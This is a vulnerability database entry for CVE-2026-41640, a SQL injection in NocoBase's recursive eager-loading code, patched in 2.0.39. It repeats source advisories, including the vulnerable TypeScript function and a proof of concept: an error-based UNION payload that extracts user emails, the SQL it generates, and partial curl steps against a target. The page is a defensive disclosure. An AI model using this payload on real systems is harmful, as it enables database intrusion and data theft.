Every CVE Search/ Get API key

CVE-2026-41640

NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading

7.5 HighFix available

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.88%Down 2.3 points since May 7, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Record
CVE-2026-41640
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
EUVDEUVD-2026-28261 7.5

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Record
EUVD-2026-28261
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
GitHub AdvisoriesGHSA-4948-f92q-f432 7.5

@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization:…
Record
GHSA-4948-f92q-f432
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
NVD 7.5

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Record
CVE-2026-41640
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSV 7.5

NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection. This issue has been patched in version 2.0.39.

Record
CVE-2026-41640
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02
OSVGHSA-4948-f92q-f432 7.5

@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading

Summary

The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.

Affected component: @nocobase/database (core) Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys

Vulnerable Code

packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84

const queryParentSQL = (options: {
  db: Database;
  nodeIds: any[];
  collection: Collection;
  foreignKey: string;
  targetKey: string;
}) => {
  const { collection, db, nodeIds } = options;
  const tableName = collection.quotedTableName();
  const { foreignKey, targetKey } = options;
  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
  const targetKeyField = collection.model.rawAttributes[targetKey].field;

  const queryInterface = db.sequelize.getQueryInterface();
  const q = queryInterface.quoteIdentifier.bind(queryInterface);
  return `WITH RECURSIVE cte AS (
      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
      FROM ${tableName}
      WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}')  // <-- INJECTION
      UNION ALL
      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
      FROM ${tableName} AS t
      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
      )
      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};

This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:

// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
    const targetKey = association.targetKey;
    const sql = queryParentSQL({
        db: this.db, collection, foreignKey, targetKey,
        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
    });
    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}

PoC

The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.

Injection ID value:
  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1

Generated SQL (3 valid UNION ALL branches):
  WITH RECURSIVE cte AS (
    SELECT "id", "parentId" FROM "table"
    WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
    UNION ALL
    SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
  ) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte

The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"

# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
    {"name":"id","type":"string","primaryKey":true,"interface":"input"},
    {"name":"title","type":"string","interface":"input"},
    {"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
    {"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
  ]}'

# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
  -H "Authorization:…
Record
GHSA-4948-f92q-f432
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-89
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nocobase/database
npm
before 2.0.39
2.0.39

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
NucleiNocoBase - SQL Injection

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41640 is a high vulnerability (CVSS 7.5) in Nocobase, published April 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.88%, the 79th percentile. Fixed in @nocobase/database 2.0.39.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open